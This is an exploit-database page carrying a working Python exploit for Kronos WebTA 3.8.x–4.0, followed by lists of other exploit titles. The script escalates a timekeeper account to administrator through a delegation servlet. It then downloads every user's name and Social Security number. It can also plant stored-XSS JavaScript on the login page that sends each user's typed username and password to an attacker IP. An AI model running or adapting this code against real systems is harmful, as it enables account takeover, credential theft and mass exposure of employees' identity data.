Menu

Search for hundreds of thousands of exploits

"Kronos WebTA 4.0 - Authenticated Remote Privilege Escalation"

Author

Exploit author

nxkennedy

Platform

Exploit platform

java

Release date

Exploit published date

2020-02-05

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
#  Exploit Title: Kronos WebTA 4.0 - Authenticated Remote Privilege Escalation
#  Discovered by: Elwood Buck & Nolan B. Kennedy of Mindpoint Group
#  Exploit Author: Nolan B. Kennedy (nxkennedy)
#  Discovery date: 2019-09-20
#  Vendor Homepage: https://www.kronos.com/products/kronos-webta
#  Version: 3.8.x - 4.0 affected. (Exploit tested on v3.8.6.79029)
#  Tested on: Linux
#  CVE: (Remote Privesc) CVE-2020-8495 | (Stored XSS) CVE-2020-8493
#  Usage: python3 exploit.py http://target

#!/bin/bash/python3

###
# *Exploit requires credentials with Timekeeper or Supervisor privileges
#
# Exploit abuses delegation privs present in the WebTA "/servlet/com.threeis.webta.H491delegate"
# servlet. By specifying the "delegate" and "delegatorUserId" parameter an attacker can use an
# admin user id to delegate role 5 (aka admin privs) to any other known user id, including oneself.
#
# selFunc=add&selRow=&delegate=<ATTACKER>&delegateRole=5&delegatorEmpId=1234&delegatorUserId=<ADMIN>
#
# With our new admin account, we can abuse a stored XSS vulnerability present in the login page,
# banner (displayed on every page) & password reset page. We can also pull system information and
# download a file containing the FULL NAME AND SSN OF EVERY USER in the database (typically thousands).
#
#
# Below is an example of the exploit output:
#####
# [+] Logged in as 'TESTER' with roles: Employee, Timekeeper
#
# [+] Available Admin Accounts:
# MOTOKO
# BATOU
# TOGUSA
# ISHIKAWA
#
# [-] Attempting to use account 'MOTOKO' to delegate Admin privs to 'TESTER'...
#
# [+] 'TESTER' successfully elevated to Admin privs :)
#
#
# [+] Logged in as 'TESTER' with roles: Employee, Timekeeper, Admin
#
# [+] Webta Version Information
# Site parameter: company
# Licensed modules:WEBTA-LEAVE, WEBTA, WEBTA
# webTA Servlet Version: 3.8.6.79029
# webTA Database Version: 3.8.6.79029
# App Server OS: Linux version 3.10.0-1062.1.1.el7.x86_64 (amd64)
# App Server JDK Version: Oracle Corporation version 1.8.0_222
# App Server Servlet Engine: Apache Tomcat/7.0.76 (Servlet API 3.0)
# App Server JDBC Driver: Oracle JDBC driver version 11.2.0.4.0
# Database Version:  Oracle JDBC driver version 11.2.0.4.0
# Database Connection: jdbc:oracle:thin:@//foo.rds.amazonaws.com:1521/webtadb<br>connected as user WEBTASVC
#
# [-] Downloading names and SSNs...
#
# [+] Complete. 5020 users written to file 'WebTA-PII.xls'
# [+] Sample Content:
# USERID,Last Name,First Name,Middle Name,SSN,Supervisor ID,Timekeeper ID,Organization,Pay Period,Active Status,
# MOTOKO,Kusanagi,Major,M.,987-65-4321,ARAMAKI,ARAMAKI,SECTION9,19,Active,
#
# [+] Stored XSS attack complete :)
#####

import re
from requests import Request, Session
from sys import argv, exit




banner = """###
#  Kronos WebTA 3.8.x - 4.0 Authenticated Remote Privilege Escalation & Stored XSS Exploit
#  Discovered by: Elwood Buck & Nolan B. Kennedy of Mindpoint Group
#  Exploit Author: Nolan B. Kennedy (nxkennedy)
#  Discovery date: 20 SEPT 2019
#  Vendor Homepage: https://www.kronos.com/products/kronos-webta
#  Version: 3.8.x - 4.0 affected. (Exploit tested on v3.8.6.79029)
#  Tested on: Linux
#  CVE: (Remote Privesc) CVE-2020-8494 | (Stored XSS) CVE-2020-8493
#  Usage: python3 exploit.py http://target
###"""
base_url = argv[1]
username = "TESTER"
password = "password!1234"
# set to True if you want to also exploit Stored XSS
xss = False
# xss strings can be injected into 3 different 'banner' locations (feel free to modify content)
# WILL NOT ERASE CONTENT ALREADY IN APPLICATION
xss_login_page = """
<script>
/* steals login creds each time a user logs in and forwards them to attacker ip */

var attacker = "192.168.1.3";

/* don't forget to set up a listener (python3 -m http.server 80) */
function stealCreds() {
        var username = document.frm[1].value;
        var password = document.frm[2].value;
        img = new Image();
        img.src = "http://"+attacker+"/?"+ "username=" +username+ "&" + "password=" +escape(password);
        setTimeout('document.frm.submit();', 1000);
        return false;
        }

function readyToSteal() {
	document.frm.onsubmit = stealCreds;
	}

/* special for WebTA because otherwise the script loads before the DOM and password form */
document.addEventListener("DOMContentLoaded", readyToSteal);
</script>
"""
xss_banner_everypage = ""
xss_passwordchange_page = ""
s = Session()
adm_list = []



def web_req(url, data):
	print()
	req = Request('POST', url, data=data)
	prepared = s.prepare_request(req)
	resp = s.send(prepared, allow_redirects=True, verify=False)
	return resp



def killActiveSession():
	url = base_url + "/servlet/com.threeis.webta.H111multipleLogin"
	data = {"selFunc":"continue"}
	resp = web_req(url, data)



def checkPrivs():
	url = base_url + "/servlet/com.threeis.webta.HGateway"
	data = {}
	resp = web_req(url, data)
	html = resp.text
	activeSession = roles = re.findall(r'(.*?)You have an active session open at a another browser(.*?)\.', html)
	roles = re.findall(r'(.*?)type\="button"(.*?)>', html)
	if activeSession:
		print("[-] Killing active session...")
		killActiveSession()
		login()
	elif roles:
		roles_list = []
		for role in roles:
			role = role[1].split('"')[1]
			roles_list.append(role)
		print("[+] Logged in as '{}' with roles: {}".format(username, ', '.join(roles_list)))

	else:
		print("[!] Account does not have required Timekeeper or Supervisor privs")
		exit()



def login():
	url = base_url + "/servlet/com.threeis.webta.H110login"
	data = {"j_username": username, "j_password": password, "login": "++Log+In++"}
	resp = web_req(url, data)
	if resp.status_code != 200:
		print("[!] Failed login in as '{}'".format(username))
		exit()
	checkPrivs()



def findAdmins():
	url = base_url + "/servlet/com.threeis.webta.H940searchUser"
	data = {
        "selFunc":"search",
        "return_page":"com.threeis.webta.P491delegate",
        "return_variable":"delegate",
        "search_org":"0",
        "search_role":"Administrator",
        "actingRole":"2",
        "payload_name_0":"selFunc",
        "payload_val_0":"search",
        "payload_name_1":"selRow",
        "payload_name_2":"delegate",
        "payload_name_3":"delegateRole",
        "payload_val_3":"2",
        "payload_name_4":"delegatorEmpId",
        "payload_val_4":"15667", # might need a valid user id
        "payload_name_5":"delegatorUserId",
        "payload_val_5":username,
        }
	resp = web_req(url, data)
	html = resp.text
	adm_usrs = re.findall(r'<TD CLASS\="bckGray">(.*?)\n', html)
	print("[+] Available Admin Accounts:")
	for snip in adm_usrs:
        	adm = snip.split('</TD><TD CLASS="bckGray">')[2]
        	adm_list.append(adm)
        	print(adm)



def privesc():
	url = base_url + "/servlet/com.threeis.webta.H491delegate"
	data = {
	"selFunc":"add",
	"delegate":username,
	"delegateRole":"5",
	"delegatorEmpId":"1234",
	"delegatorUserId":adm_list[0],
	}
	print()
	print("[-] Attempting to use account '{}' to delegate Admin privs to '{}'...".format(adm_list[0], username))
	resp = web_req(url, data)
	print("[+] '{}' successfully elevated to Admin privs :)".format(username))



def storeXSS():
	url = base_url + "/servlet/com.threeis.webta.H261configMenu"
	data = {'selFunc':'messages'}
	### to be covert we want to append our js to the end of * messages/banners already there *
	resp = web_req(url, data)
	html = resp.text
	messages = re.findall(r'<TEXTAREA name\=(.*?)</textarea>', html, re.DOTALL)
	messages_clean = []
	for message in messages:
		message = message.split('wrap="virtual">')[1]
		messages_clean.append(message)
	login_page = messages_clean[0]
	banner_everypage = messages_clean[1]
	passwordchange_page = messages_clean[2]

	###  now we inject our javascript
	url = base_url + "/servlet/com.threeis.webta.H201config"
	data = {
		"selFunc":"save",
		"loginMessage": login_page + xss_login_page,
		"bannerMessage": banner_everypage + xss_banner_everypage,
		"passwordMessage": passwordchange_page + xss_passwordchange_page,
	}
	resp = web_req(url, data)
	print("[+] Stored XSS attack complete :)")



def stealPII():
	url = base_url + "/servlet/com.threeis.webta.H287userRoleReport"
	data = {
	"selFunc":"downloademp",
	"roletype":"1",
	"orgsel":"0",
	"pageNum":"1",
	}
	print("[-] Downloading names and SSNs...")
	resp = web_req(url, data)
	filename = "WebTA-PII.xls"
	with open(filename, 'wb') as f:
		f.write(resp.content)
	with open(filename) as f:
		for i, l in enumerate(f):
			pass
	count = i # does not include header
	print("[+] Complete. {} users written to file '{}'".format(count, filename))
	print("[+] Sample Content:")
	with open(filename) as f:
		for n in range(2):
			print(",".join(f.readline().split("\t")), end="")



def dumpSysInfo():
	url = base_url + "/servlet/com.threeis.webta.H200mnuAdmin"
	data = {"selFunc":"about"}
	resp = web_req(url, data)
	html = resp.text
	data = re.findall(r'<INPUT VALUE\="(.*?)"', html, re.DOTALL)
	print("[+] " + data[0])



if __name__ == '__main__':
	print(banner)
	login()
	findAdmins()
	privesc()
	login() # login again because we need the refreshed perms after privesc
	dumpSysInfo()
	#stealPII()
	if xss:
		storeXSS()
	s.close()
Release DateTitleTypePlatformAuthor
2020-04-03"AIDA64 Engineer 6.20.5300 - 'Report File' filename Buffer Overflow (SEH)"localwindowsHodorsec
2020-04-03"Pandora FMS 7.0NG - 'net_tools.php' Remote Code Execution"webappsphp"Basim Alabdullah"
2020-04-02"DiskBoss 7.7.14 - 'Input Directory' Local Buffer Overflow (PoC)"localwindows"Paras Bhatia"
2020-04-01"DiskBoss 7.7.14 - Denial of Service (PoC)"doswindows"Paras Bhatia"
2020-04-01"10Strike LANState 9.32 - 'Force Check' Buffer Overflow (SEH)"localwindowsHodorsec
2020-03-31"Redis - Replication Code Execution (Metasploit)"remotelinuxMetasploit
2020-03-31"SharePoint Workflows - XOML Injection (Metasploit)"remotewindowsMetasploit
2020-03-31"Grandstream UCM6200 Series CTI Interface - 'user_password' SQL Injection"webappshardware"Jacob Baines"
2020-03-31"IBM TM1 / Planning Analytics - Unauthenticated Remote Code Execution (Metasploit)"remotemultipleMetasploit
2020-03-31"Grandstream UCM6200 Series WebSocket 1.0.20.20 - 'user_password' SQL Injection"webappshardware"Jacob Baines"
2020-03-31"FlashFXP 4.2.0 Build 1730 - Denial of Service (PoC)"doswindows"Paras Bhatia"
2020-03-31"DLINK DWL-2600 - Authenticated Remote Command Injection (Metasploit)"remotehardwareMetasploit
2020-03-30"Zen Load Balancer 3.10.1 - Remote Code Execution"webappscgi"Cody Sixteen"
2020-03-30"Microsoft Windows 10 (1903/1909) - 'SMBGhost' SMB3.1.1 'SMB2_COMPRESSION_CAPABILITIES' Local Privilege Escalation"localwindows"Daniel García Gutiérrez"
2020-03-30"Multiple DrayTek Products - Pre-authentication Remote Root Code Execution"remotelinux0xsha
2020-03-30"10-Strike Network Inventory Explorer 9.03 - 'Read from File' Buffer Overflow (SEH)(ROP)"localwindowsHodorsec
2020-03-30"Joomla! com_fabrik 3.9.11 - Directory Traversal"webappsphpqw3rTyTy
2020-03-30"Odin Secure FTP Expert 7.6.3 - 'Site Info' Denial of Service (PoC)"doswindows"Ivan Marmolejo"
2020-03-27"Jinfornet Jreport 15.6 - Unauthenticated Directory Traversal"webappsjavahongphukt
2020-03-27"rConfig 3.9.4 - 'searchField' Unauthenticated Root Remote Code Execution"webappsphpvikingfr
2020-03-27"Easy RM to MP3 Converter 2.7.3.700 - 'Input' Local Buffer Overflow (SEH)"localwindows"Felipe Winsnes"
2020-03-27"ECK Hotel 1.0 - Cross-Site Request Forgery (Add Admin)"webappsphp"Mustafa Emre Gül"
2020-03-27"Everest 5.50.2100 - 'Open File' Denial of Service (PoC)"doswindows"Ivan Marmolejo"
2020-03-26"TP-Link Archer C50 3 - Denial of Service (PoC)"webappshardwarethewhiteh4t
2020-03-26"Centreo 19.10.8 - 'DisplayServiceStatus' Remote Code Execution"webappsphp"Engin Demirbilek"
2020-03-25"10-Strike Network Inventory Explorer 8.54 - 'Add' Local Buffer Overflow (SEH)"localwindows"Felipe Winsnes"
2020-03-25"Joomla! Component GMapFP 3.30 - Arbitrary File Upload"webappsphpThelastVvV
2020-03-25"10-Strike Network Inventory Explorer - 'srvInventoryWebServer' Unquoted Service Path"localwindows"Felipe Winsnes"
2020-03-25"LeptonCMS 4.5.0 - Persistent Cross-Site Scripting"webappsphpSunCSR
2020-03-25"AVAST SecureLine 5.5.522.0 - 'SecureLine' Unquoted Service Path"localwindows"Roberto Piña"
Release DateTitleTypePlatformAuthor
2020-03-27"Jinfornet Jreport 15.6 - Unauthenticated Directory Traversal"webappsjavahongphukt
2020-03-12"WatchGuard Fireware AD Helper Component 5.8.5.10317 - Credential Disclosure"webappsjava"RedTeam Pentesting GmbH"
2020-03-10"Sysaid 20.1.11 b26 - Remote Command Execution"webappsjava"Ahmed Sherif"
2020-02-24"ManageEngine EventLog Analyzer 10.0 - Information Disclosure"webappsjava"Scott Goodwin"
2020-02-17"LabVantage 8.3 - Information Disclosure"webappsjava"Joel Aviad Ossi"
2020-02-06"Cisco Data Center Network Manager 11.2.1 - 'LanFabricImpl' Command Injection"webappsjavamr_me
2020-02-06"Cisco Data Center Network Manager 11.2.1 - 'getVmHostData' SQL Injection"webappsjavamr_me
2020-02-06"Cisco Data Center Network Manager 11.2 - Remote Code Execution"webappsjavamr_me
2020-02-05"Kronos WebTA 4.0 - Authenticated Remote Privilege Escalation"webappsjavanxkennedy
2020-02-03"Jira 8.3.4 - Information Disclosure (Username Enumeration)"webappsjava"Mufeed VH"
2020-01-29"Liferay CE Portal 6.0.2 - Remote Command Execution"webappsjava"Berk Dusunur"
2020-01-21"ManageEngine Network Configuration Manager 12.2 - 'apiKey' SQL Injection"webappsjava"Ertebat Gostar Co"
2020-01-16"Jenkins Gitlab Hook Plugin 1.4.2 - Reflected Cross-Site Scripting"webappsjava"Ai Ho"
2020-01-09"Oracle Weblogic 10.3.6.0.0 - Remote Command Execution"webappsjavajames
2020-01-08"JetBrains TeamCity 2018.2.4 - Remote Code Execution"remotejavahantwister
2020-01-08"Tomcat proprietaryEvaluate 9.0.0.M1 - Sandbox Escape"webappsjavahantwister
2020-01-08"Cisco DCNM JBoss 10.4 - Credential Leakage"remotejavahantwister
2019-12-17"Zendesk App SweetHawk Survey 1.6 - Persistent Cross-Site Scripting"webappsjavaMTK
2019-12-11"Apache Olingo OData 4.0 - XML External Entity Injection"webappsjava"Compass Security"
2019-12-09"Oracle Siebel Sales 8.1 - Persistent Cross-Site Scripting"webappsjavaomurugur
2019-11-08"Jenkins build-metrics plugin 1.3 - 'label' Cross-Site Scripting"webappsjavavesche
2019-11-01"Apache Solr 8.2.0 - Remote Code Execution"webappsjava@l3x_wong
2019-10-07"IBM Bigfix Platform 9.5.9.62 - Arbitrary File Upload"webappsjava"Jakub Palaczynski"
2019-09-11"AVCON6 systems management platform - OGNL Remote Command Execution"webappsjava"Nassim Asrir"
2019-09-03"Cisco Data Center Network Manager - Unauthenticated Remote Code Execution (Metasploit)"remotejavaMetasploit
2019-07-12"Jenkins Dependency Graph View Plugin 0.13 - Persistent Cross-Site Scripting"webappsjava"Ishaq Mohammed"
2019-07-12"Sahi Pro 8.0.0 - Remote Command Execution"webappsjavaAkkuS
2019-06-17"Spring Security OAuth - Open Redirector"webappsjavaRiemann
2019-06-04"Zoho ManageEngine ServiceDesk Plus 9.3 - 'PurchaseRequest.do' Cross-Site Scripting"webappsjavaVingroup
2019-06-04"Zoho ManageEngine ServiceDesk Plus 9.3 - 'SiteLookup.do' Cross-Site Scripting"webappsjavaVingroup
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/48001/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

Browse exploit APIBrowse